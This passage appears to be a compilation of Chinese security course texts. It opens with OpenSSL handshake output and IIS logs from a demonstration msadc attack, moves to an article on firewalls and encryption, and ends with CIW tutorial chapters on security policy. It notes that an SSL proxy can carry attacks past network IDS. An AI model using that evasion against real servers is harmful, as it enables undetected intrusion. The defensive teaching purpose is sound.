Group LLC/OU=Web/OU=Terms of use at www.verisign.com/RPA（c ）99/CN=secure.ramsec.com
verify error：num=21：unable to verify the first certificate verify return
：1
Certificate chain 0 s ：/C=US/ST=Washington/L=New Castle/O=Rampart Security
Group LLC/OU=Web/OU=Terms of use at www.verisign.com/RPA（c ）99/CN=secure.ramsec.com
i ：/C=US/O=RSA Data Security ， Inc./OU=Secure Server Certification Authority
Server certificate
-----BEGIN CERTIFICATE-----
MIIClTCCAgICEGJTOhcnU+VNQDZ7fqS1K8UwDQYJKoZIhvcNAQEEBQAwXzELMAkG A1UEBhMCVVMxIDAeBgNVBAoTF1JTQSBEYXRhIFNlY3VyaXR5LCBJbmMuMS4wLAYD
VQQLEyVTZWN1cmUgU2VydmVyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTAw MDEyNDAwMDAwMFoXDTAxMDEyMzIzNTk1OVowgbsxCzAJBgNVBAYTAlVTMRMwEQYD
VQQIEwpXYXNoaW5ndG9uMRMwEQYDVQQHFApOZXcgQ2FzdGxlMSMwIQYDVQQKFBpS YW1wYXJ0IFNlY3VyaXR5IEdyb3VwIExMQzEMMAoGA1UECxQDV2ViMTMwMQYDVQQL
FCpUZXJtcyBvZiB1c2UgYXQgd3d3LnZlcmlzaWduLmNvbS9SUEEgKGMpOTkxGjAY BgNVBAMUEXNlY3VyZS5yYW1zZWMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQD+0K9xpPTh79iWWXc5JmTeJrg5YNdmwP5EwfKSPqOk2E8QSRNk8+Huv7h7 h636cDbmIh+J+VuRO5x5YP8apUCcqRfIMmQevTFzaIyCf3Mwm/OKNTs+4tqA5kjT
SedbBUGaaY2A1VcK0uby1djc+oX8XoCMoRWy+VGBkBrLK51t2QIDAQABMA0GCSqG SIb3DQEBBAUAA34AhT7v59KwTvldIHJV7U4Doca+/wQ6ivbyd35K9hC/wxwE/jnO
oBXFKaJvV6mHk9hVz37CtLauUGYIZb3x7Cw6GajhhPicLi0l6ndH4VF9C4tbUb4t 2yw/6Jy9i+TfsO/Ldcu4KV0688vfORWm663+6miLYHKGNqFMaR3QaXc=
-----END CERTIFICATE-----
subject=/C=US/ST=Washington/L=New Castle/O=Rampart Security Group LLC/OU=Web/OU=Terms
of use at www.verisign.com/RPA（c ）99/CN=secure.ramsec.com issuer=/C=US/O=RSA
Data Security ， Inc./OU=Secure Server Certification Authority
No client certificate CA names sent
SSL handshake has read 801 bytes and written 312 bytes
New ， TLSv1/SSLv3， Cipher is RC4-MD5
Server public key is 1024 bit SSL-Session ：Protocol： TLSv1 Cipher
： RC4-MD5 Session-ID ：020000001E9F693D9F9D5FF87E6DF24A0BAFC85391992415991DF3AB74522BCB
Session-ID-ctx：Master-Key：08FD7A5E6D058A45D0855AD359C0428F3BB5A685E6D74DFB9CDAB6D6A2ED7D53
E97147155DC7B9C61B946BE6 Key-Arg： None Start Time： 963184785 Timeout：
300 （sec ）
Verify return code： 0（ok）
GET / HTTP/1.0 HTTP/1.1 200 OK Server ： Microsoft-IIS/4.0 Content-Location
： http://216.182.36.154/index.html Date： Mon， 10 Jul 2000 11 ：41：25
GMT Content-Type： text/html Accept-Ranges： bytes Last-Modified： Thu，
23 Mar 2000 01：41：15 GMT ETag ： "305fc7e06894bf1 ：38441" Content-Length
： 886
通过上面OpenSSL 这项技术，我们就可以直接传送资料到有SSL 保护的网站，
然后用我们一般审查任何HTTP服务器安全性的方式来审查这个SSL 网页服务器。
3 、监测SSL 服务器
现在的网络IDS 只能够监视纯文字资料内容，所以我们只能够有两项选择：监
视服务器上的SSL 连结或者将整个连结资料转为纯文字格式。大部分的网页服务器
都有一些基本的日志纪录功能。例如：Microsoft 的IIS Web server有内建的日志
制作功能，使用的是W3svc1格式，它可以侦测到很多一般的网络攻击状况。我通过
前述的SSL proxy 针对Windows NT 4.0上具备有SSL 防护的IIS 服务器，来作示范
性的攻击。我们用的是由Rain Forest Puppy 发现的一般性常见的msadc 安全穿透
技术。我们的IIS 服务器在C ：\WINNT\system32\LogFiles的目录下，记载了以下
的日志：
12：25：45 10.0.0.1 GET /msadc/msadcs.dll 200 12：25：48 10.0.0.1 POST
/ msadc/msadcs.dll 200
然而，因为这些日志文件通常是存在网页服务器上面，因此，一个成功的攻击
事件表示黑客很可能已经对日志文件下了手脚了。此外，安全管理员必须每天检查
服务器上的日志文件（另外还有IDS ，防火墙等等），这实在不是个最佳的解决方
案。
除了使用主机日志文件的以外，另一个方式是将SSL 连结转换成纯文字格式。
如此一来网络的IDS 就能够监视资料往来。有几种产品提供这项功能，不过他们主
要是为了要提升数据处理效能，而不是为了网络安全的理由。建立以及维护SSL 连
结，必须耗用相当的CPU 时间，如此一来会减损网页服务器的效能。市面上有几家
厂商提供“电子商务加速器”，用来将与SSL 交涉的工作移到不同的装置或处理器。
你可以将IDS 置放于加速器跟网页服务器之间，以监控纯文字格式的网络交通。用
这种方式监控的话，有一个问题。那就是你必须有至少一个网络区隔（network segment）。
这个网络区隔必须是安全的，而且与其它的网络装置分开来。
四、结论
总的来说SSL 仍然不失为一套全面完善的安全策略中有效的组成元素。然而，
与网络安全的其它工具软件一样，仅使用单一的防护软件都是无效的。对SSL 的过
高评价有可能带来安全风险。它仅是网络安全工具的一种，必须和其它网络安全工
具紧密结合，方能构造出全面、完善、安全可靠的网络。最后有两件重要的事情是
你必须牢记在心的，首先，SSL 并不能够防护你的网站安全。它仅仅防护使用者的
网页服务器以及目标网站之间的点对点数据链路，网页服务器跟后端的网页应用软
件，仍旧会受到跟一般没有SSL 防护的网站同样的攻击威胁；第二点，虽然SSL 会
使网络黑客很难用目前已知的攻击模式直接攻击SSL 防护网站，不过，这些防卫仍
旧是有可能用诸如SSL proxy 等工具来加以突破，然而，相同的技术却也可以被用
来监视以及审查系统的安全漏洞。


网络安全的几项关键技术

商用网络在互联网上得以运行, 首先应建立或使原有的网络 升级为内部网, 而专用的内部网与公用的互联网的隔离则有赖于
防火墙技术。有了防火墙, 商家们便可以比较安全地在互联网上进行相应的商业活动。
1. 防火墙技术
“防火墙”是一种形象的说法, 其实它是一种由计算机硬件和软件的组合, 使互联网与内部网之间建立起一个安全网关( scurity gateway), 从而保护内部网免受非法用户的侵入。工作原理如图1所示。 据图1 可以看出所谓防火墙就是一个把互联网与内部网隔 开的屏障。
防火墙有二类, 标准防火墙和双家网关。标准防火墙系统包 括一个UNIX工作站, 该工作站的两端各接一个路由器进行缓冲。 其中一个路由器的接口是外部世界, 即公用网; 另一个则联接内部网。标准防火墙使用专门的软件, 并要求较高的管理水平, 而且在信息传输上有一定的延迟。双家网关 (dual home gateway) 则是标准防火墙的扩充, 又称堡垒主机(bation host) 或应用层网关(applications layer gateway), 它是一个单个的系统, 但却能同时完成标准防火墙的所有功能。其优点是能运行更复杂的应用, 同时防止在互联网和内部系统之间建立的任何直接的边疆,可以确保数据包不能直接从外部网络到达内部网络, 反之亦然。随着防火墙技术的进步, 双家网关的基础上又演化出两种防火墙配置, 一种是隐蔽主机网关, 另一种是隐蔽智能网关( 隐蔽子网)。隐蔽主机网关是当前一种常见的防火墙配置。顾名思义,这种配置一方面将路由器进行隐蔽, 另一方面在互联网和内部网之间安装堡垒主机。堡垒主机装在内部网上, 通过路由器的配置,使该堡垒主机成为内部网与互联网进行通信的唯一系统。目前技术最为复杂而且安全级别最商的防火墙是隐蔽智能网关, 它将网
关隐藏在公共系统之后使其免遭直接攻击。隐蔽智能网关提供了对互联网服务进行几乎透明的访问, 同时阻止了外部未授权访问者对专用网络的非法访问。一般来说, 这种防火墙是最不容易被破坏的。
2. 数据加密技术
与防火墙配合使用的安全技术还有数据加密技术是为提高信息系统及数据的安全性和保密性, 防止秘密数据被外部破析所采用的主要技术手段之一。随着信息技术的发展, 网络安全与信息保密日益引起人们的关注。目前各国除了从法律上、管理上加强数据的安全保护外, 从技术上分别在软件和硬件两方面采取措施, 推动着数据加密技术和物理防范技术的不断发展。按作用不同,数据加密技术主要分为数据传输、数据存储、数据完整性的鉴别 以及密钥管理技术四种。
(1)数据传输加密技术。
目的是对传输中的数据流加密, 常用的方针有线路加密和端——端加密两种。前者侧重在线路上而不考虑信源与信宿, 是对保密信息通过各线路采用不同的加密密钥提供安全保护。后者则指信息由发送者端自动加密, 并进入TCP/IP数据包回封, 然后作 为不可阅读和不可识别的数据穿过互联网, 当这些信息一旦到达目的地, 被将自动重组、解密, 成为可读数据。
(2)数据存储加密技术。
目是防止在存储环节上的数据失密, 可分为密文存储和存取控制两种。前者一般是通过加密算法转换、附加密码、加密模块等方法实现; 后者则是对用户资格、格限加以审查和限制, 防止非法用户存取数据或合法用户越权存取数据。
(3)数据完整性鉴别技术。
目的是对介入信息的传送、存取、处理的人的身份和相关数据内容进行验证, 达到保密的要求, 一般包括口令、密钥、身份、数据等项的鉴别, 系统通过对比验证对象输入的特征值是否符合预先设定的参数, 实现对数据的安全保护。
(4) 密钥管理技术。为了数据使用的方便, 数据加密在许多场合集中表现为密钥的应用, 因此密钥往往是保密与窃密的主要对象。密钥的媒体有: 磁卡、磁带、磁盘、半导体存储器等。密钥的管理技术包括密钥的产生、分配保存、更换与销毁等各环节上的保密措施。
3. 智能卡技术
与数据加密技术紧密相关的另一项技术则是智能卡技术。所谓智能卡就是密钥的一种媒体, 一般就像信用卡一样, 由授权用户所持有并由该用户赋与它一个口令或密码字。该密码与内部网络服务器上注册的密码一致。当口令与身份特征共同使用时, 智能卡的保密性能还是相当有效的。网络安全和数据保护达些防范措施都有一定的限度, 并不是越安全就越可靠。因而, 在看一个内部网是否安全时不仅要考察其手段, 而更重要的是对该网络所采取的各种措施, 其中不光是 物理防范, 还有人员的素质等其他“软”因素, 进行综合评估,从而得出是否安全的结论。


CIW网络安全专家教程

  网络安全与防火墙篇
                      第一章什么是安全？
                                引言
    本书第一章内容主要对于安全的发展以及其重要性作了简明的阐述，并介绍了
一些国内外知名的网络安全相关网站，并对于如何建立：有效的安全策略给出了很
好的建议，并让大家了解几种安全标准。
本章要点：
  ● 有关安全的定义
  ● 解释网络安全的必要性
  ● 识别哪些资源需要被保护
  ● 识别常见的几种安全威胁类刑
  ● 如何建立有效的安全矩阵
  媒体经常报道一些有关网络安全威胁的令人震惊的事件：，针对日前流行的Netsc
ape　Navigator和微软的IE浏览器程序对于复杂精密攻击(目标是摧毁电子商务服务
器)存在的—些安全问题，因此计算机和网络管理员以及用户都必须应付不断复杂的
安全环境。黑客和计算机病毒都是普遍的威胁以至于甚至某个具体的日期都与一个
特别的安全问题相关。主要的在线电子商务都被证明是易受攻击的。例如，e-bay和
Amazon．COM都是恶性攻击的受害者。攻击事件本身，例如1988年的Robert Moms
Internet Worm(蠕虫)都变得具有传奇色彩。
    众所周知的黑客包括kevinMitnick和JohnDraper(此人既是大名鼎鼎的
CaptainCrunch)但是更多不知名的黑客在互联网上制造着破坏。尽管下面的新闻故事
听上去像是一本侦探小说中的摘录，但它却是上实实在在的发生了。一名被Pentagon
认为是对美国的安全构成头号威肋， 比KGB更具致命性的间谍被证明是一名16岁的英
国音乐学生黑客(他在他的卧室进行“工作”)美国参议院武器装备委员会被告之FBI害
怕一个东欧的间谍集团已经获得了美国最高级的机密，包括美国空军防御系统弹道导
弹设计。这名在校生在互联网世界上以“DatastreamCowboy”而著称，被罚款1915美
金，但他解释说“这些地方比起英国大学计算机来说但容易进入了’现在商界张开双
臂欢迎Internet去从事商业、通讯和合作。敏感信息和通讯路线的完整则变成了—个
非常重要的话题，对于相关的威胁，例如黑客和病毒，迅速作出反应以及消除它是每
个网络管理员工作的一部分，Internet对于任何一个具有网络连接和ISP帐号的人邮是
开放的，事实上它本身被没计成了一个开放的网络。因此它本身并没有多少内置的能
力使信息安全，从一个安全的角度看，Intemet是天生不安全的。然而，商界和个人现
在都想在Intemet上应用一些安全的原则，在Internet发明人当初没有意识到的方式下
有效的使用它。对于Internet用户一个新的挑战是如何在允许经授权的人在使用它的
同时保护敏感信息。
                                    安全是什么?
    简单的说在网络环境里的安全指的是一种能够识别和消除不安全因素的能力。安全
的一般性定义也必须解决保护公司财产的需要，包括信息和物理设备(例如计算机本身)。
安全的想法也涉及到适宜性和从属性概念。负责安全的任何一个人都必须决定谁在具体
的设备上进行合适的操作，以及什么时候。当涉及到公司安全的时候什么是适宜的在公
司与公司之间是不同的，但是任何一个具有网络的公司都必须具有一个解决适宜性、从
属性和物理安全问题的安全政策。
这节课将讨论与Internet有关的安全问题，伴随着现代的、先进的复杂技术例如局域网
(LAN)和广域网、Internet网Internet、已经VPN。安全的想；去和实际操作已经变得比
简单巡逻网络边界更加复杂。对于网络来说一个人可以定义安全为一个持续的过程，在
这个过程中管理员将确保信息仅仅被授权的用户所共享。
    本节课结束时，你将熟悉那些被你公司认为适宜的，用来建立和限制行为的过程和
技术。你将集中精神在有关将你公司与互联网相连接的安全的问题上。Internet连接对
于陌生用户连接到外露的资源上极为容易。你必须确保它们只能访问那些你想让他们访
问的内容，这节课将学习一些控制用户和黑客访问，如何对事件：做出反应，以及当有
人规避那些控制时如使损害最小化的方法。
                                        黑客活动
    尽管在“黑客帝国“等影片中，黑客只有浪漫色彩，黑客活动被证明是代价高昂的。
根据计算机安全机构和CERT(计算机紧急事件响应组)黑客活动口见增多，并且越来越具
有破坏性。CERT曾提供下列数据以显示黑客活动的效果。
    ． 五分之—的互联网站点都经历过安全损害
    ． 估计每年在美国由安全损害所导致的损失可达到100亿美金
    . 从去年开始网络入侵已经增加了50％。
根据由信息安全杂志(www．infosecuritymag．com)进行的一项在1999年对745名IT
技术人员的调查显示52％的被调查者在过去的12个月经历过某种攻击、入侵、个人信息
的泄露。大多数的攻击不是来自于外部，而是来自于网络内部的职员。被凋查者发现的
网络入侵的总的花费超过了2300万美金，这个数字还不包括未被报道和未知的事件。IT
界已经对这样的攻击作出了反应，大多数公司已经创立了安全政策，商界、公司机构、
电子商务站点现在使用了防火墙，入侵侦察系统以及跟踪网络活动的程序。然而根据一
篇来自信息安全杂志的文章(WWW．infosecuritymag．com巧uly99／under,htm)这些措施
并不能阻止这样的攻击，原因是：
． 日趋精密的攻击以及以Internet为基础的技术的快速发展
． 超负荷的IT技术人员和资金的缺乏而不能获得更多的资源
． 没有被充分安全保护的系统大量的快速的部署、
风险
收集数据是一门并不完美的艺术，被不同的专家收集到的数据真正意味着什么总是引
起争议的，http：／／www,anticode．com这个站点在新兴的黑客中极受欢迎，它是许多
提供方便可用的资源给新兴的Internet用户的站点之一。它使得用户：
● 获得如何开始黑客活动的相当准确的建议
● 扫描网络以确定那些目标被攻击
● 使用虚假信息攻击e-mail，数据库，文件：，
● 摧毁和渗透路由器和其他的网络连接设备
● 击败和摧毁认证和加密方法以及Web服务器使其瘫痪
抵御攻击是困难的，除非你知道如何把攻击分类有系统的反击它，但是确保你的系统绝
对安全，是不可能的。
百分之百的安全?
连通性就意味村危险，如果你允许合法的用户访问你的计算机或网络就存在着被误用的危险，
一种流行的说法是只有与网络无连接并且被关闭的锁在一个安全的地方(钥匙被扔掉)的计算
机，才是真正唯一安全的计算机，尽管这种方法使得计算机很安全，但也使得计算机
毫无用处。然而，尽管你从来不可能实现绝对安全，但是你可以达到某种水平，使得几乎所
有最熟练的和最坚定的黑客不能登陆你的系统。可行的安全策略能够使黑客对你的公司的损
害最小化。它们甚至能够抵御最坚定的黑客。对于网络安全，你要经常限制合法用户的网络
许可权，以便他们仍旧能够完成他们的任务，但是不能获得更多的访问权限。这个简单的策
略的后果是即使黑客能够窃取到一个合法用户的身份并且进入到系统。他将只能获得那个用
户访问权限。这样的一个限制措施将抑制任何可能的由那个盗取了用户名字和密码的黑客所
引起的损害。
安全即寻求平衡
一个关键的安全原则是使用有效的但是并不会给那些想要真正想要获取信息的合法用
户增加负担的方案，寻找出一条实际应用此原则的途径经常是一个困难的寻求平衡举动。使
用过于繁杂的安全技术使得合法用户厌烦和规避你的安全协议是非常容易的。黑客时刻准备
着和用这样一些看上去无害的行动，因此拥有一个过分繁杂的安全政策将导致比没有安全政
策还要低效的安全。你总是需要考虑一下你的安全政策给合法用户带来的影响在很多情况下
如果你的用户所感受到的不方便大于所产生的安全上的提高，则你的政策是实际降低了你公
司的安全有效性。
建立有效的安全矩阵
尽管一个安全系统的成分和构造在公司之间是不同的，但某些特征是一致的，一个可行的安
全矩阵是高度安全的和容易使用的，它实际上也需要一个合情合理的开销。，一个安全矩阵
由单个操作系统安全特征、日志服务和其他的装备包括防火墙，入侵检测系统，审查方案构
成。
一个安全矩阵是灵活的可发展的，拥有很高级的预警和报告功能，表1—1概括了—个有
效的安全矩阵系统最主要的几个方面。
特点 描述
允许访问控制 通过只允许合法用户访问来达到你的目的
最人扩展通信的功能同时最小化黑客访问的可能性
当黑客已经访6习到你的资源时尽可能地减小破坏性
容易使用 如果一个安全系统很难使用，员工可能会想办法绕开它你要保证界面是
直观的
合理的花费 你不仅要考虑初始的花费还要考虑以后升级所需要的费用，你还要考虑
用于管理所要花的费用：需要多少员工，达到什么样的水平来成功的实
施和维护系统。
灵活性和伸缩性 你的系统要能让你的公司按其想法做一些商业上的事情，你的系统要随
着公司的增长而加强
优秀的警报和报告 当一个安全破坏发生时，系统要能快速地通知管理员足够详细的内容要
配置系统尽可能正确地对你发出警告。可以通过Email，计算机屏幕，
pager等等来发出通知。
保护资源
你现在在已经学会了一个安全系统的一般性原则，接下来应该讨论什么资源需要被保护
为你的网络构建安全构架的时候，把你的资产划分为4个资源组是很有帮助的：
● 终端用户资源(员于使用的windows98／2000主机)
● 网络资源(路由器、交换机、电话系统)
● 服务器资源(包括文件：、DNS、Web、FTP和e-mail服务器)
● 信息存储资源(包括人力资源和电子商务数据库)
终端用户资源
确保你已经使得你公司的职员保护他们的工作站，对于你的资源来说并不是所有的损害都
来自于带有恶意的用户的操作或黑客攻入你的系统。经常，计算机仅仅是被简单的用户操作失
误所损害。例如，很多雇员开没有意识到下载ActiveX文件和使用Java小程序所涉及的危险，
还有很多人当他们离开办公室(甚至很短时间)他们也并不使用屏幕密码保护程序，以防止偷窥
用户也常常不知不觉的下载病毒和特洛伊木马(Tr01ans)因此损害了网络的，正常功能。一个
特洛伊木马(trojans)是一—个程序或文件,其目的是在于用一个合法的方式进行操作，然而有
一个替代的秘密的操作，例如把关键的敏感的公司信息通过E-mail发送给黑客。然而，职员通
过使得他们的浏览器被设置成对于ActiveX和Java小程序最大程度的安全设置来提高安全性能，
你也可以确信每名员工当从互联网上下载任何东西时都使用病毒检查监测。教育每名使用者早
期应用的安全技术很重要的—点是保护本地资源，然而internet安全涉及则不仅仅是保护个人
资源。
网络资源
网络对于一个公司来说是一个主要的通讯媒介，如果一个黑客获得访问权限或者控制了公司的
网络，他将能访问几乎所以的公司数据。必须意识到许多黑客能够仿造任何IP协议设备(它拥
有一个IP地址)，这称之为IP欺骗。这种行为允许黑客获得访问权限去进行系统偷窥
(systemsnooping)。因为在TCP／IP里没有保护是可行的，所以黑客可以充分和用任何不具有
专门机制的设备。另外的网络资源包括路由器，同样也易受到攻击和带宽消耗。
服务器资源
Internet上的E-mai和FTP服务器都易受到几种类刑攻击，一般的，服务器给网络架构提供存
储区域，并且成为枢纽。它们也控制全部的系统安全。黑客试图获得服务器资源的访问不权限，
这样他们就能够访问和控制其它资源。
信息存储资源
任何公司最重要的功能是它如何组织和传播信息。一个黑客最终的目标是发现信息并且篡改帮
助建立和传输信息的网络和方法黑客。由于多种原闪，黑客想要获得信息，有些是怀有恶意，还行
—些是为了进行工业间谍刺探，表l-2列举出了一个网络潜在的易受攻击的部分。
重要地点 潜在的威胁
终端用户资源 病毒，木马，Java小程序可以对本地系统造成危险。
网络资源 IP欺骗，系统探测，及获得相关信息
服务器资源 非授权侵入，截取服务，木马。服务器资源经常成为最主要的目标
数据库和信息资源 得到商业机密，交易行为，消费者的数据，等等
黑客的分类
流行文化经常把黑客描写成为才华横溢、蔑视权威、未完全成熟的男性。尽管这种描述有时的
正确的，但是根据他们的态度和动机来给黑客分类可能是更加实用的。恶意的举动可能有很多原因，
但是这类举动一般是归纳到3个大的范畴。当确定你公司的安全的时候，需要考虑的最重要的臆见事
是识别出把你的公司作为目标的黑客的类型和预料黑客的态度。这3个类别是偶然的破坏者，坚定的
破坏者和间谍。
偶然的破坏者
偶然的破坏者有时是一个信息寻求者，但更多的时候是一个另人恐怖的”猎手”。这种偶然的破
坏者拥有超人的智慧，换句话说，偶然的破坏者可以轻松的闯入你的系统但并不一定有任何目的，大
多数的黑客都属于这类范畴。仍然能够和用合适的安全应用程序以及特殊的机制来阻止这种侵入，特
别的这个安全政策规定了你发现并且对黑客做出反应，可能一些偶然的破坏者是一些能够获得电话线
的十几岁的恶作剧者，网络中这样一群黑客的数量是很多的。
坚定的破坏者
坚定的破坏者不管后果和困难要获得你系统的访问权，这种类别的黑客正通过互联网或者一个员
工来达到目的。黑客能够获得被专门设计为能够进入你的网络的方法和工具，尽管你拥有有效的设备
和清晰的安全政策，这种类型的黑客使用任何方法和决心和意志将最终导致成功。坚定的破坏者经常
闯入高度精密的系统以证明他们的实力，一般来说这些黑客并不是毁坏信息而经常是获得公司和网络
的信息，仅仅因为他们有这个实力。坚定的破坏者有许多动机，例如为了个人原因而收集信息，一个
黑客可能是一个不满的职员，然而也可能是对于大的公司或者政府的怨恨所造成的。一些攻击是黑客
想要去除他们认为有争议的或者不满的内容的存在的结果。其他的黑客有着更加独特的动机，有的是
为了出名，有的是需要获得一种成就感，还有的是为了证明网络能力，这样的一些动机也许可以解释
大多数在过去的几年中发生的页面涂改事件。
间谍
有着非常明确的目标，想要获得信息或者摧毁服务，他们有着很好的资金来源，对于资源几乎不
加限制的访问权限，间谍的动机是获取财富和意识形态的信仰。这些黑客为了他们视之为目标的网络
访问权限不惜一切代价。对工业间谍感兴趣的大公司和许多政府都经常资助间谍组织，但是一些间谍
只是雇佣兵，他只为出价最高的人服务。以后的课程将讨论如何使用防火墙和具体的办法去防御黑客，
对于一个坚定的黑客，审查是最有效的武器，依靠合适的审查，你将进可能快的发现和制止一个黑客。
对于审查更为详细的讨论将在以后的课程中进行。另外的一个课程将提供一个计划。通过这个计划你
将对黑客作出反应并且记录下这个活动，有时与执法部门取得联系是必须的。例如美国联邦调查局
(FBI)。
安全标准
在完成关于一些引起安全基础的讨论之后，我们必须注意几种已存在的安全标准。国际标准化组
织(ISO)7498-2安全体系结构文献定义了安全就是最小化资产和资源的漏洞。资产可以指任何事物。
漏洞是指任何可以造成破坏；系统或信息的弱点。威胁是指潜在的安全破坏。ISO进一步把威胁分类
为偶然的或故意的，主动的或被动的。偶然威胁是指没有事先预谋的事件，这类的威胁包括天然的灾
祸或错误的系统维护。故意的威胁包括非常有经验的攻击者和用特殊的系统知识来破坏计算机或网络
上的数据。被动式威胁不修改系统中所包含的信息。
安全服务
ISO 7498-2文献此外还定义了几种安全服务。表1-3作了—些总结。这些服务将在后面的章节中
详细介绍。
服务 目的
认证 提供身份的过程。
访问控制 确定一个用户或服务可能用到什么样的系统资源，查看还是改变。一旦一个用户认证
通过，操作系统上的访问控制服务确定此用户将能做些什么。
数据保密性 这个服务保护数据不被未授权的暴露。数据保密性防止被动威胁，包括—些用户想用
packet sniffer来读取网线上的数据
数据完整性 这个服务通过检查或维护信息的一致性来防止主动的威胁
不可否定性 不可否定性是防止参与交易的全部或部分的抵赖。比如说在网络上，一个人发送了一
封Email信息或一些数据，如ping包或SYN包，然后说“我并没有发送”。不可否定性
可以防止这种来自源端的欺骗。
安全机制
根据ISO提出的，安全机制是一种技术，一些软件或实施一个或更多安全服务的过程。ISO把机制
分成特殊的和普遍的。一个特殊的安全机制是在同一时间只对一种安全服务上实施一种技术或软件。
加密就是特殊安全机制的一个例子。尽管你可以通过使用加密来保护数据的保密性，数据的完整性和
不可否定性，但实施在每种服务时你需要不同的加密技术。一般的安全机制都列出了在同时实施一个
或多个安全服务的执行过程。特殊安全机制和一般安全机制不同的另一个要素是一般安全机制不能应
用到OSI参考模型的任一层上。普通的机制包括：
● 信任的功能性：指任何加强现有机制的执行过程。例如，当你升级你的TCP／IP堆栈或运行一
些软件来加强你的Novell，NT,UNIX系统认证功能时，你使用的就是普遍的机制。
● 事件检测：检查和报告本地或远程发生的事件
● 审计跟踪：任何机制都允许你监视和记录你网络上的活动
● 安全恢复：对一些事件作出反应，包括对于已知漏洞创建短期和长期的解决方案， 包括对受
危害系统的修复。
额外的安全标准
除了ISO 7498-2还存在一些其它政府和工业标准。主要包括
● British Standard 7799：概括了特殊的“控制”，如系统访问控制和安全策略的使用以及
物理安全措施。目的为了帮助管理者和IT专家建立程序来保持信息的安全性。
● 公共标准
● 桔皮书(美国)
桔皮书
为了标准化安全的级别，美国政府发表了一系列的标准来定义一般安全的级别。这些标准发表往
一系列的书上通常叫做“彩虹系列”，因为每本的封面的颜色都是不同的。由为重要的是桔皮书。它
定义了一系列的标准，从D级别开始(最低的级别)一直到A1(最安全)级。有关这部分内容我们会在操作
系统安全篇中详细介绍。
本章小结：
通过本课的学习，相信你已经对于安全的概念有了清晰的认识，并了解关于需要保护资源的分类，并
详细介绍建立一个有效的安全矩阵所应具备的属性：对于安全标准的理解有助于我们日后制定完整的
符合国际化标准的策略。
问题讨论：
√ 制定有效的安全矩阵应具备什么属性?
√ 资源分类的重要性及其优点?
√ 几种常见的安全标准的定义?
实验部分我会在相关的章节贴出来的。我会尽量作好一点。
                                第二章
                            安全的基本元素
                                  引言
    了解构成安全的一些基本元素，对于我们进一步进行安全方案的制定和实施是至关重要的：你还需要进一步了解一些安全机制来建立你的安全体系结构。这节课将讨论一个连贯的安全政策的重要性以及审查，加密，认证机制。
本章要点：
● 阐述一个有效的安全策略基本
● 识别用户认证方法的关键
● 解释对于访问控制方法的需要
● 列举出三种在互相网上的主要加密方法
● 解释审计的需要
● 在选择安全设备和软件：时要考虑使用的简易性
安全的基本元素
      下图显示了最重要的安全元素，同时它也展示了这些安全元素的构成的等级。
    审计管理
￣￣￣￣￣￣￣￣
加密　　　　访问控制
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
    用户验证
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
    安全策略
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
    每一个元素都与其它的元素共同产生作用以确保一个机构能够尽可能有效的通信，在金字塔底部的是团体的安全政策，它是任何成功的安全政策的基础。拥有—个安全政策并不能保证你将消除入侵和信息丢火，为了防止上述情况发生，你还必须小心谨慎地审查你的网络，然而，一个安全策略可以为你以后的活动提供一个基础。
    管理使用和执行安全政策，审齐用户活动，试图确定安全问题(包括非法的用户操作，
一个有关很低补丁水平的系统，或一个网络外部的入侵)管理层和安全管理员将创建一个共同的安全政策，因为这样就为所有的网络活动提供了一个基础。
安全策略
    一个安全政策将允许你建立一个有效的安全基础设施，基础设施包括：
● 安全资源，包括信息和实际系统本身
● 所有的雇员都尽可能快的完成工作
    安全政策必须为整个机构提供指导方针并且是建立安全系统使用的防御第一线，你必须确保你的安全政策并不与你的公司的目标和实际活动相抵触，因此你必须对于你的资源合理的保护。为了确定资源准确需要多少保护，你必须确定它将遇到多大危险，举一个内部用户工作站很显然比—个WEB服务器遇到的危险要小的多，因为后者直接暴露在Internet上，为了减少危险，你应该采取以下步骤：
● 为你的系统分类
● 指定危险因数
● 确定每个系统的安全优先级
● 定义可接受和不可接受的活动
● 决定在安全问题上如何教育所有员工
● 确定谁管理你的政策
    一旦你确定了危险因素和资源的优先级，你将能确定你将对每一部分资源采取什么样措施，根据资源的情况你将记录你的安全政策。举个例子你可以指定用户工作站必须运行新的防病毒软件和你的外部路由揣在外部端口过滤掉Telnet,你最重要的资源，例如E-mail服务器，将需要最详细和最严格的保护。
                                    系统分类
    正如上面所述，第一步是有效地分配安全资源，建确一个合理的安全基础设施，你必须确认然后根据对机构的重要性对系统和数据进行分类。
    经常，把系统资源分出三个类别是有必要的：
级别1：　那些对于生意的运行是至关重要的系统，例如，一个电子商务公司可能把它的
WEB服务器作为级别工的系统，雇员的数据库，用户数据库，E-mai服务器都认为级别工资源。
级别2：　那些是必须的但对于日常工作不是至关重要的系统，尽管它们不能长时期地不
工作，但是一两天不工作不会使公司迫于瘫痪。举个例子，如果员工传呼机号码的数据
库两大不能正常工作，这样虽然很不方便，但不会造成致命的问题。
级别3：　只要桌上电脑并不会对级别1和级别2的系统造成影响，则本地桌上电脑将属于级别3。
    表2-1概括了这种分类原则
安全分类级别
级别　　　　　　　数据　　　　　　　　系统　　　　　　　　安全
级别3：日常工作　　　一些用于操作的数据　　　一般的系统，在数据丢失或
停止时不会导致公司的商
业行为正常运转　　　　　　　　　一般的安全策略和防范
级别2：较重要　　如果数据保护不好的话会使公司产生极大的风险　　　　操作系统或电子商务在线系统，其停止时间最多不能超过48小时，这种情况内部服务器不能直接连入到
Internet 　　　　一般的安全策略加上特殊的监视，审计和恢复策略
级别l：最重要　　　需要高度保护的重要数据，如商业机密和客户资料等　　　　重要任务级的系统，系统停止运行不能超过几个小时，如证书服务器，公网上对外服务的一些服务器等　　　　　　　　　　安全分析及扩展的安全机制，系统级别的审计，监视和安全功能
                          明智地为系统分类
